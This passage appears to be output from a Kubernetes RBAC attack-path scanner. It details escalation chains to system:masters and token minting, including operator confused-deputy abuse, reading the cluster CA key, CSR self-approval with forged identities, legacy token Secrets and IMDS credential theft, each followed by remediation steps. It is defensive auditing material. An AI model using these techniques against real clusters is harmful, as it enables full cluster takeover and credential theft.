    A way to remove pods (delete pods, deletecollection pods, or create pods/eviction) combined with cluster-scoped node control (update/patch on nodes, which is what kubectl cordon and kubectl taint use; update/patch on nodes/status; or delete nodes) lets an attacker cordon, taint, or remove every node except one they control, then evict a sensitive pod. The scheduler relocates the pod onto the attacker's node, where its ServiceAccount token and traffic are exposed.

    From ServiceAccount/cert-manager/cert-manager
    Permission granted delete pods + update nodes/status
    Gives the attacker can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation
  3. Step 3 of 3 Control-plane PKI theft control_plane_pki_theft

    Root on a node is serious anywhere, but root on a control-plane node is game over. The cluster's certificate authority private key sits at /etc/kubernetes/pki/ca.key. With it an attacker signs a client certificate carrying O=system:masters entirely offline, and the API server accepts it because that group short-circuits authorization.

    No RBAC object changes, so no audit event records the grant. Recovery means rotating the cluster CA, not merely deleting a binding.

    From ServiceAccount/cert-manager/cert-manager
    Permission granted root on a schedulable control-plane node
    Gives the attacker can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline
Remediation
Remove every impersonate grant on a path to system:masters. Concretely: remove the permission write certificates.cert-manager.io that enables the first hop (ServiceAccount/cutres-deputy-tenant/cutres-deputy → ServiceAccount/cert-manager/cert-manager). Evaluated cut: removing this subject from the cutres-deputy-cert-a binding that grants hop 1. A route to the same sink survives that cut.
  1. List subjects with impersonate: kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == "User" or .kind == "Group" or .kind == "ServiceAccount") | .metadata.name + " → " + (.roleRef.name)' then check each role's rules for impersonate.
  2. Almost no production workload genuinely needs impersonate users/groups. Kubectl plugins/dashboards that *do* need it should use kubectl --as=... from a human admin's session, not a workload SA.
  3. Break the chain: remove the permission write certificates.cert-manager.io that enables the first hop (ServiceAccount/cutres-deputy-tenant/cutres-deputy → ServiceAccount/cert-manager/cert-manager).
  4. For kubectl-as-a-service workloads, scope the impersonation with resourceNames: [<allowed-user>] to a fixed allowlist of principals; *never* users: [*] or groups: [*].
  5. Wire admission policy: a Kyverno rule that fails any RoleBinding granting impersonate to a non-system subject without an explicit resourceNames carve-out.
HIGH ServiceAccount/deepchain-tenant/deepchain-deployer Cluster 8.1
ServiceAccount/deepchain-tenant/deepchain-deployer can impersonate `system:masters` in 3 hop(s), bypassing all RBAC
Scope · Cluster Source ServiceAccount/deepchain-tenant/deepchain-deployer → system:masters: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/deepchain-tenant/deepchain-deployer

Subject ServiceAccount/deepchain-tenant/deepchain-deployer can chain into the ability to impersonate the system:masters group. system:masters is special: the kube-apiserver hard-codes it as authorized for *every* operation regardless of RBAC. There is no Role or ClusterRole that grants system:masters reach. It is a pre-RBAC carve-out for kubeadm control-plane operators (cert-based auth with O=system:masters skips authorization entirely).

The chain (3 hop(s); each step is an RBAC verb the engine validated):
1. ServiceAccount/deepchain-tenant/deepchain-deployer → ServiceAccount/flux-system/kustomize-controller via operator_reconcile (write kustomizations.kustomize.toolkit.fluxcd.io): can steer flux-system/kustomize-controller, which applies arbitrary manifests from an attacker-controlled source
2. ServiceAccount/flux-system/kustomize-controller → / via node_drain_migrate (delete pods + update nodes/status): can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation
3. ServiceAccount/flux-system/kustomize-controller → / via control_plane_pki_theft (root on a schedulable control-plane node): can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline

Impersonation of system:masters is the rarest but most severe finding type. Most clusters do not give workload SAs impersonate users/groups because system:masters is the pathological consequence: a single impersonate grant on a workload SA is the entire chain. CIS Kubernetes 5.1.4 and the RBAC good-practices guide explicitly call out impersonation grants for review.

Impact Impersonating system:masters bypasses every RBAC check the cluster ever had. Every API call succeeds. Audit logs are written but the actor field shows the impersonated principal; attribution requires reading the impersonate audit annotation.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/deepchain-tenant/deepchain-deployer.
  2. Acting as ServiceAccount/deepchain-tenant/deepchain-deployer, the attacker uses the operator_reconcile technique to reach ServiceAccount/flux-system/kustomize-controller via write kustomizations.kustomize.toolkit.fluxcd.io, which gains can steer flux-system/kustomize-controller, which applies arbitrary manifests from an attacker-controlled source.
  3. Acting as ServiceAccount/flux-system/kustomize-controller, the attacker uses the node_drain_migrate technique via delete pods + update nodes/status, which gains can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation.
  4. Acting as ServiceAccount/flux-system/kustomize-controller, the attacker uses the control_plane_pki_theft technique via root on a schedulable control-plane node, which gains can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline.
  5. Final step: attacker can impersonate group system:masters. The kube-apiserver short-circuits authorization for system:masters via the static token / certificate path, bypassing every RBAC check. They are now indistinguishable from a kubeadm control-plane operator.
  1. Step 1 of 3 Confused deputy: operator reconciliation operator_reconcile

    Operators work by watching custom resources and acting on them with their own, usually cluster-wide, permissions. A tenant who can write one of those custom resources needs no permissions of their own: they write the instruction, and the controller carries it out as itself.

    A GitOps controller pointed at an attacker-controlled repository applies whatever manifests it finds there, including a ClusterRoleBinding. A monitoring operator told to scrape a chosen bearerTokenFile reads and ships its own mounted token. The permission that matters belongs to the deputy, not the requester.

    From ServiceAccount/deepchain-tenant/deepchain-deployer → ServiceAccount/flux-system/kustomize-controller
    Permission granted write kustomizations.kustomize.toolkit.fluxcd.io
    Gives the attacker can steer flux-system/kustomize-controller, which applies arbitrary manifests from an attacker-controlled source
  2. Step 2 of 3 Migrate pods onto an attacker node node_drain_migrate

    A way to remove pods (delete pods, deletecollection pods, or create pods/eviction) combined with cluster-scoped node control (update/patch on nodes, which is what kubectl cordon and kubectl taint use; update/patch on nodes/status; or delete nodes) lets an attacker cordon, taint, or remove every node except one they control, then evict a sensitive pod. The scheduler relocates the pod onto the attacker's node, where its ServiceAccount token and traffic are exposed.

    From ServiceAccount/flux-system/kustomize-controller
    Permission granted delete pods + update nodes/status
    Gives the attacker can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation
  3. Step 3 of 3 Control-plane PKI theft control_plane_pki_theft

    Root on a node is serious anywhere, but root on a control-plane node is game over. The cluster's certificate authority private key sits at /etc/kubernetes/pki/ca.key. With it an attacker signs a client certificate carrying O=system:masters entirely offline, and the API server accepts it because that group short-circuits authorization.

    No RBAC object changes, so no audit event records the grant. Recovery means rotating the cluster CA, not merely deleting a binding.

    From ServiceAccount/flux-system/kustomize-controller
    Permission granted root on a schedulable control-plane node
    Gives the attacker can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline
Remediation
Remove every impersonate grant on a path to system:masters. Concretely: remove the permission write kustomizations.kustomize.toolkit.fluxcd.io that enables the first hop (ServiceAccount/deepchain-tenant/deepchain-deployer → ServiceAccount/flux-system/kustomize-controller).
  1. List subjects with impersonate: kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == "User" or .kind == "Group" or .kind == "ServiceAccount") | .metadata.name + " → " + (.roleRef.name)' then check each role's rules for impersonate.
  2. Almost no production workload genuinely needs impersonate users/groups. Kubectl plugins/dashboards that *do* need it should use kubectl --as=... from a human admin's session, not a workload SA.
  3. Break the chain: remove the permission write kustomizations.kustomize.toolkit.fluxcd.io that enables the first hop (ServiceAccount/deepchain-tenant/deepchain-deployer → ServiceAccount/flux-system/kustomize-controller).
  4. For kubectl-as-a-service workloads, scope the impersonation with resourceNames: [<allowed-user>] to a fixed allowlist of principals; *never* users: [*] or groups: [*].
  5. Wire admission policy: a Kyverno rule that fails any RoleBinding granting impersonate to a non-system subject without an explicit resourceNames carve-out.
HIGH ServiceAccount/cutres-deputy-tenant/cutres-deputy Cluster 6.7
ServiceAccount/cutres-deputy-tenant/cutres-deputy can reach token_mint in 2 hop(s)
Scope · Cluster Source ServiceAccount/cutres-deputy-tenant/cutres-deputy → token_mint
Category: Privilege Escalation Subject: ServiceAccount/cutres-deputy-tenant/cutres-deputy

Subject ServiceAccount/cutres-deputy-tenant/cutres-deputy has a multi-hop chain to token_mint. Each hop in the chain is an RBAC primitive the engine validated against the snapshot.

The chain:
1. ServiceAccount/cutres-deputy-tenant/cutres-deputy → ServiceAccount/cert-manager/cert-manager via operator_reconcile (write certificates.cert-manager.io): can steer cert-manager/cert-manager, which issues a certificate with an attacker-chosen subject and writes it to a Secret
2. ServiceAccount/cert-manager/cert-manager → / via secret_mint_token (create + get secrets (cluster-wide)): can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount

Impact Compromise of ServiceAccount/cutres-deputy-tenant/cutres-deputy chains to token_mint. Investigate the specific privileges this sink represents in your cluster.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/cutres-deputy-tenant/cutres-deputy.
  2. Acting as ServiceAccount/cutres-deputy-tenant/cutres-deputy, the attacker uses the operator_reconcile technique to reach ServiceAccount/cert-manager/cert-manager via write certificates.cert-manager.io, which gains can steer cert-manager/cert-manager, which issues a certificate with an attacker-chosen subject and writes it to a Secret.
  3. Acting as ServiceAccount/cert-manager/cert-manager, the attacker uses the secret_mint_token technique via create + get secrets (cluster-wide), which gains can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount.
  4. Final step: attacker reaches token_mint.
  1. Step 1 of 2 Confused deputy: operator reconciliation operator_reconcile

    Operators work by watching custom resources and acting on them with their own, usually cluster-wide, permissions. A tenant who can write one of those custom resources needs no permissions of their own: they write the instruction, and the controller carries it out as itself.

    A GitOps controller pointed at an attacker-controlled repository applies whatever manifests it finds there, including a ClusterRoleBinding. A monitoring operator told to scrape a chosen bearerTokenFile reads and ships its own mounted token. The permission that matters belongs to the deputy, not the requester.

    From ServiceAccount/cutres-deputy-tenant/cutres-deputy → ServiceAccount/cert-manager/cert-manager
    Permission granted write certificates.cert-manager.io
    Gives the attacker can steer cert-manager/cert-manager, which issues a certificate with an attacker-chosen subject and writes it to a Secret
  2. Step 2 of 2 Mint a token via a legacy Secret secret_mint_token

    Holding both create and get on secrets lets an attacker create a Secret of type kubernetes.io/service-account-token annotated for a target ServiceAccount. The token controller fills in a valid, non-expiring token, which the attacker reads back. This bypasses the serviceaccounts/token TokenRequest gate entirely and leaves a persistent, secret-backed credential.

    From ServiceAccount/cert-manager/cert-manager
    Permission granted create + get secrets (cluster-wide)
    Gives the attacker can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount
Survives cutting the cutres-deputy-cert-a binding (2 hops)

This route reaches the same target without the cutres-deputy-cert-a binding, so removing this subject from that binding alone does not close it. The Remediation for this finding may name a broader fix that closes both.

  1. Step 1 of 2 Confused deputy: operator reconciliation operator_reconcile

    Operators work by watching custom resources and acting on them with their own, usually cluster-wide, permissions. A tenant who can write one of those custom resources needs no permissions of their own: they write the instruction, and the controller carries it out as itself.

    A GitOps controller pointed at an attacker-controlled repository applies whatever manifests it finds there, including a ClusterRoleBinding. A monitoring operator told to scrape a chosen bearerTokenFile reads and ships its own mounted token. The permission that matters belongs to the deputy, not the requester.

    From ServiceAccount/cutres-deputy-tenant/cutres-deputy → ServiceAccount/cert-manager/cert-manager
    Permission granted write certificates.cert-manager.io
    Gives the attacker can steer cert-manager/cert-manager, which issues a certificate with an attacker-chosen subject and writes it to a Secret
  2. Step 2 of 2 Mint a token via a legacy Secret secret_mint_token

    Holding both create and get on secrets lets an attacker create a Secret of type kubernetes.io/service-account-token annotated for a target ServiceAccount. The token controller fills in a valid, non-expiring token, which the attacker reads back. This bypasses the serviceaccounts/token TokenRequest gate entirely and leaves a persistent, secret-backed credential.

    From ServiceAccount/cert-manager/cert-manager
    Permission granted create + get secrets (cluster-wide)
    Gives the attacker can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount
Remediation
Break the chain at the weakest hop: remove the permission write certificates.cert-manager.io that enables the first hop (ServiceAccount/cutres-deputy-tenant/cutres-deputy → ServiceAccount/cert-manager/cert-manager). Evaluated cut: removing this subject from the cutres-deputy-cert-a binding that grants hop 1. A route to the same sink survives that cut.
  1. Confirm each hop with kubectl auth can-i.
  2. Apply the cut: remove the permission write certificates.cert-manager.io that enables the first hop (ServiceAccount/cutres-deputy-tenant/cutres-deputy → ServiceAccount/cert-manager/cert-manager).
  3. Re-run the scanner to confirm the path no longer resolves.
HIGH ServiceAccount/deepchain-tenant/deepchain-deployer Cluster 6.7
ServiceAccount/deepchain-tenant/deepchain-deployer can reach token_mint in 2 hop(s)
Scope · Cluster Source ServiceAccount/deepchain-tenant/deepchain-deployer → token_mint
Category: Privilege Escalation Subject: ServiceAccount/deepchain-tenant/deepchain-deployer

Subject ServiceAccount/deepchain-tenant/deepchain-deployer has a multi-hop chain to token_mint. Each hop in the chain is an RBAC primitive the engine validated against the snapshot.

The chain:
1. ServiceAccount/deepchain-tenant/deepchain-deployer → ServiceAccount/flux-system/kustomize-controller via operator_reconcile (write kustomizations.kustomize.toolkit.fluxcd.io): can steer flux-system/kustomize-controller, which applies arbitrary manifests from an attacker-controlled source
2. ServiceAccount/flux-system/kustomize-controller → / via secret_mint_token (create + get secrets (cluster-wide)): can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount

Impact Compromise of ServiceAccount/deepchain-tenant/deepchain-deployer chains to token_mint. Investigate the specific privileges this sink represents in your cluster.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/deepchain-tenant/deepchain-deployer.
  2. Acting as ServiceAccount/deepchain-tenant/deepchain-deployer, the attacker uses the operator_reconcile technique to reach ServiceAccount/flux-system/kustomize-controller via write kustomizations.kustomize.toolkit.fluxcd.io, which gains can steer flux-system/kustomize-controller, which applies arbitrary manifests from an attacker-controlled source.
  3. Acting as ServiceAccount/flux-system/kustomize-controller, the attacker uses the secret_mint_token technique via create + get secrets (cluster-wide), which gains can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount.
  4. Final step: attacker reaches token_mint.
  1. Step 1 of 2 Confused deputy: operator reconciliation operator_reconcile

    Operators work by watching custom resources and acting on them with their own, usually cluster-wide, permissions. A tenant who can write one of those custom resources needs no permissions of their own: they write the instruction, and the controller carries it out as itself.

    A GitOps controller pointed at an attacker-controlled repository applies whatever manifests it finds there, including a ClusterRoleBinding. A monitoring operator told to scrape a chosen bearerTokenFile reads and ships its own mounted token. The permission that matters belongs to the deputy, not the requester.

    From ServiceAccount/deepchain-tenant/deepchain-deployer → ServiceAccount/flux-system/kustomize-controller
    Permission granted write kustomizations.kustomize.toolkit.fluxcd.io
    Gives the attacker can steer flux-system/kustomize-controller, which applies arbitrary manifests from an attacker-controlled source
  2. Step 2 of 2 Mint a token via a legacy Secret secret_mint_token

    Holding both create and get on secrets lets an attacker create a Secret of type kubernetes.io/service-account-token annotated for a target ServiceAccount. The token controller fills in a valid, non-expiring token, which the attacker reads back. This bypasses the serviceaccounts/token TokenRequest gate entirely and leaves a persistent, secret-backed credential.

    From ServiceAccount/flux-system/kustomize-controller
    Permission granted create + get secrets (cluster-wide)
    Gives the attacker can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount
Remediation
Break the chain at the weakest hop: remove the permission write kustomizations.kustomize.toolkit.fluxcd.io that enables the first hop (ServiceAccount/deepchain-tenant/deepchain-deployer → ServiceAccount/flux-system/kustomize-controller).
  1. Confirm each hop with kubectl auth can-i.
  2. Apply the cut: remove the permission write kustomizations.kustomize.toolkit.fluxcd.io that enables the first hop (ServiceAccount/deepchain-tenant/deepchain-deployer → ServiceAccount/flux-system/kustomize-controller).
  3. Re-run the scanner to confirm the path no longer resolves.
CRITICAL

Subjects can impersonate `system:masters` in 1 hop(s), bypassing all RBAC

KUBE-PRIVESC-PATH-SYSTEM-MASTERS 56 subjects Score 9.4–7.9
MITRE ATT&CK: T1078.004T1098T1556T1068

Affected subjects (56)

CRITICAL ServiceAccount/csr-fixtures/sa-csr-mint Cluster 9.4
ServiceAccount/csr-fixtures/sa-csr-mint can impersonate `system:masters` in 1 hop(s), bypassing all RBAC
Scope · Cluster Source ServiceAccount/csr-fixtures/sa-csr-mint → system:masters: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/csr-fixtures/sa-csr-mint

Subject ServiceAccount/csr-fixtures/sa-csr-mint can chain into the ability to impersonate the system:masters group. system:masters is special: the kube-apiserver hard-codes it as authorized for *every* operation regardless of RBAC. There is no Role or ClusterRole that grants system:masters reach. It is a pre-RBAC carve-out for kubeadm control-plane operators (cert-based auth with O=system:masters skips authorization entirely).

The chain (1 hop(s); each step is an RBAC verb the engine validated):
1. ServiceAccount/csr-fixtures/sa-csr-mint → / via csr_approve (create certificatesigningrequests + update certificatesigningrequests/approval): can submit a CSR claiming a privileged identity (a kube-system ServiceAccount CN, or system:masters where CertificateSubjectRestriction is off) and self-approve it, minting a CA-signed client cert

Impersonation of system:masters is the rarest but most severe finding type. Most clusters do not give workload SAs impersonate users/groups because system:masters is the pathological consequence: a single impersonate grant on a workload SA is the entire chain. CIS Kubernetes 5.1.4 and the RBAC good-practices guide explicitly call out impersonation grants for review.

Impact Impersonating system:masters bypasses every RBAC check the cluster ever had. Every API call succeeds. Audit logs are written but the actor field shows the impersonated principal; attribution requires reading the impersonate audit annotation.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/csr-fixtures/sa-csr-mint.
  2. Acting as ServiceAccount/csr-fixtures/sa-csr-mint, the attacker submits a CertificateSigningRequest whose Subject DN claims a privileged identity, then self-approves it via the certificatesigningrequests/approval subresource (create certificatesigningrequests + update certificatesigningrequests/approval). The apiserver maps a client cert's Common Name onto the username it authorizes and never checks whether that identity is one Kubernetes would have issued, so CN=system:serviceaccount:kube-system:<sa> authenticates as that ServiceAccount. (The textbook O=system:masters claim is blocked for this signer by the default CertificateSubjectRestriction admission plugin; the CN route is not.) The cert persists after the RBAC grant is revoked; with no CRL in Kubernetes, only a CA rotation invalidates it.
  3. Final step: attacker can impersonate group system:masters. The kube-apiserver short-circuits authorization for system:masters via the static token / certificate path, bypassing every RBAC check. They are now indistinguishable from a kubeadm control-plane operator.
  1. CSR self-approval: forging a cluster identity csr_approve

    The combination of create on certificatesigningrequests AND update/patch on certificatesigningrequests/approval at cluster scope lets the holder have the cluster CA sign an x509 client cert carrying any Subject DN they choose. The apiserver maps the certificate's CN onto the username it authorizes and each O onto a group, for any cert signed by a CA in --client-ca-file. It never checks whether that identity is one Kubernetes would have issued — so CN=system:serviceaccount:kube-system:<sa> authenticates as that ServiceAccount even though Kubernetes itself never issues certificates to ServiceAccounts.

    Pick the claim carefully. O=system:masters is the famous version and the one modern clusters block: CertificateSubjectRestriction (default-on since 1.19) rejects that Organization for the kubernetes.io/kube-apiserver-client signer. The Common Name is unrestricted, so the route that works is claiming an existing privileged identity — a kube-system ServiceAccount such as clusterrole-aggregation-controller, or a control-plane user like system:kube-controller-manager.

    Note the second gate on the approval side: since 1.19 the CertificateApproval admission plugin also requires the approver to hold the approve verb on the CSR's signers resource. A subject with only the two CSR verbs has a latent escalation that goes live the moment the signer verb is added or the plugin is disabled.

    This is a permanent backdoor primitive: cert validity is whatever the signer applies (often a year), Kubernetes has no revocation list, and removing the RBAC grant does not invalidate an issued cert — only a CA rotation does.

    From ServiceAccount/csr-fixtures/sa-csr-mint
    Permission granted create certificatesigningrequests + update certificatesigningrequests/approval
    Gives the attacker can submit a CSR claiming a privileged identity (a kube-system ServiceAccount CN, or system:masters where CertificateSubjectRestriction is off) and self-approve it, minting a CA-signed client cert
Remediation
Remove every impersonate grant on a path to system:masters. Concretely: remove the permission create certificatesigningrequests + update certificatesigningrequests/approval that enables the first hop (ServiceAccount/csr-fixtures/sa-csr-mint → /).
  1. List subjects with impersonate: kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == "User" or .kind == "Group" or .kind == "ServiceAccount") | .metadata.name + " → " + (.roleRef.name)' then check each role's rules for impersonate.
  2. Almost no production workload genuinely needs impersonate users/groups. Kubectl plugins/dashboards that *do* need it should use kubectl --as=... from a human admin's session, not a workload SA.
  3. Break the chain: remove the permission create certificatesigningrequests + update certificatesigningrequests/approval that enables the first hop (ServiceAccount/csr-fixtures/sa-csr-mint → /).
  4. For kubectl-as-a-service workloads, scope the impersonation with resourceNames: [<allowed-user>] to a fixed allowlist of principals; *never* users: [*] or groups: [*].
  5. Wire admission policy: a Kyverno rule that fails any RoleBinding granting impersonate to a non-system subject without an explicit resourceNames carve-out.
CRITICAL ServiceAccount/rbac-fixtures/sa-impersonate Cluster 9.4
ServiceAccount/rbac-fixtures/sa-impersonate can impersonate `system:masters` in 1 hop(s), bypassing all RBAC
Scope · Cluster Source ServiceAccount/rbac-fixtures/sa-impersonate → system:masters: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-impersonate

Subject ServiceAccount/rbac-fixtures/sa-impersonate can chain into the ability to impersonate the system:masters group. system:masters is special: the kube-apiserver hard-codes it as authorized for *every* operation regardless of RBAC. There is no Role or ClusterRole that grants system:masters reach. It is a pre-RBAC carve-out for kubeadm control-plane operators (cert-based auth with O=system:masters skips authorization entirely).

The chain (1 hop(s); each step is an RBAC verb the engine validated):
1. ServiceAccount/rbac-fixtures/sa-impersonate → / via impersonate_system_masters (impersonate groups): can impersonate the system:masters group, bypassing all RBAC

Impersonation of system:masters is the rarest but most severe finding type. Most clusters do not give workload SAs impersonate users/groups because system:masters is the pathological consequence: a single impersonate grant on a workload SA is the entire chain. CIS Kubernetes 5.1.4 and the RBAC good-practices guide explicitly call out impersonation grants for review.

Impact Impersonating system:masters bypasses every RBAC check the cluster ever had. Every API call succeeds. Audit logs are written but the actor field shows the impersonated principal; attribution requires reading the impersonate audit annotation.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/rbac-fixtures/sa-impersonate.
  2. Acting as ServiceAccount/rbac-fixtures/sa-impersonate, the attacker impersonates the system:masters group (impersonate groups). The kube-apiserver hard-codes that group as authorized for every operation regardless of RBAC. A single such grant collapses the entire authorization layer.
  3. Final step: attacker can impersonate group system:masters. The kube-apiserver short-circuits authorization for system:masters via the static token / certificate path, bypassing every RBAC check. They are now indistinguishable from a kubeadm control-plane operator.
  1. Impersonation of system:masters impersonate_system_masters

    The impersonate verb on groups with no resourceNames (or with resourceNames that list system:masters) lets the holder send requests as the hard-coded system:masters group. The kube-apiserver short-circuits authorization for that group, so every API call succeeds regardless of RBAC.

    This is the worst-case impersonation grant: it bypasses the cluster's entire RBAC layer rather than borrowing another principal's permissions.

    From ServiceAccount/rbac-fixtures/sa-impersonate
    Permission granted impersonate groups
    Gives the attacker can impersonate the system:masters group, bypassing all RBAC
Survives cutting the crb-impersonate binding (2 hops)

This route reaches the same target without the crb-impersonate binding, so removing this subject from that binding alone does not close it. The Remediation for this finding may name a broader fix that closes both.

  1. Step 1 of 2 Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/rbac-fixtures/sa-impersonate
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod rbac-fixtures/imp-app-5f78d6bb9d-bxmxv falls back to node IAM role via IMDS
  2. Step 2 of 2 Control-plane PKI theft control_plane_pki_theft

    Root on a node is serious anywhere, but root on a control-plane node is game over. The cluster's certificate authority private key sits at /etc/kubernetes/pki/ca.key. With it an attacker signs a client certificate carrying O=system:masters entirely offline, and the API server accepts it because that group short-circuits authorization.

    No RBAC object changes, so no audit event records the grant. Recovery means rotating the cluster CA, not merely deleting a binding.

    From ServiceAccount/rbac-fixtures/sa-impersonate
    Permission granted root on a schedulable control-plane node
    Gives the attacker can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline
Remediation
Remove every impersonate grant on a path to system:masters. Concretely: remove the impersonate groups capability that enables hop 1 (ServiceAccount/rbac-fixtures/sa-impersonate → /). Evaluated cut: removing this subject from the crb-impersonate binding that grants hop 1. A route to the same sink survives that cut.
  1. List subjects with impersonate: kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == "User" or .kind == "Group" or .kind == "ServiceAccount") | .metadata.name + " → " + (.roleRef.name)' then check each role's rules for impersonate.
  2. Almost no production workload genuinely needs impersonate users/groups. Kubectl plugins/dashboards that *do* need it should use kubectl --as=... from a human admin's session, not a workload SA.
  3. Break the chain: remove the impersonate groups capability that enables hop 1 (ServiceAccount/rbac-fixtures/sa-impersonate → /).
  4. For kubectl-as-a-service workloads, scope the impersonation with resourceNames: [<allowed-user>] to a fixed allowlist of principals; *never* users: [*] or groups: [*].
  5. Wire admission policy: a Kyverno rule that fails any RoleBinding granting impersonate to a non-system subject without an explicit resourceNames carve-out.
CRITICAL ServiceAccount/rbac-fixtures/sa-token-create Cluster 9.3
ServiceAccount/rbac-fixtures/sa-token-create can impersonate `system:masters` in 2 hop(s), bypassing all RBAC
Scope · Cluster Source ServiceAccount/rbac-fixtures/sa-token-create → system:masters: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-token-create

Subject ServiceAccount/rbac-fixtures/sa-token-create can chain into the ability to impersonate the system:masters group. system:masters is special: the kube-apiserver hard-codes it as authorized for *every* operation regardless of RBAC. There is no Role or ClusterRole that grants system:masters reach. It is a pre-RBAC carve-out for kubeadm control-plane operators (cert-based auth with O=system:masters skips authorization entirely).

The chain (2 hop(s); each step is an RBAC verb the engine validated):
1. ServiceAccount/rbac-fixtures/sa-token-create → ServiceAccount/csr-fixtures/sa-csr-mint via token_request (create serviceaccounts/token): can mint tokens for ServiceAccount csr-fixtures/sa-csr-mint
2. ServiceAccount/csr-fixtures/sa-csr-mint → / via csr_approve (create certificatesigningrequests + update certificatesigningrequests/approval): can submit a CSR claiming a privileged identity (a kube-system ServiceAccount CN, or system:masters where CertificateSubjectRestriction is off) and self-approve it, minting a CA-signed client cert

Impersonation of system:masters is the rarest but most severe finding type. Most clusters do not give workload SAs impersonate users/groups because system:masters is the pathological consequence: a single impersonate grant on a workload SA is the entire chain. CIS Kubernetes 5.1.4 and the RBAC good-practices guide explicitly call out impersonation grants for review.

Impact Impersonating system:masters bypasses every RBAC check the cluster ever had. Every API call succeeds. Audit logs are written but the actor field shows the impersonated principal; attribution requires reading the impersonate audit annotation.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/rbac-fixtures/sa-token-create.
  2. Acting as ServiceAccount/rbac-fixtures/sa-token-create, the attacker calls the serviceaccounts/token subresource (create serviceaccounts/token) to mint a fresh, valid token for ServiceAccount/csr-fixtures/sa-csr-mint. No pod creation required, and a thinner audit trail than the pod-mount route.
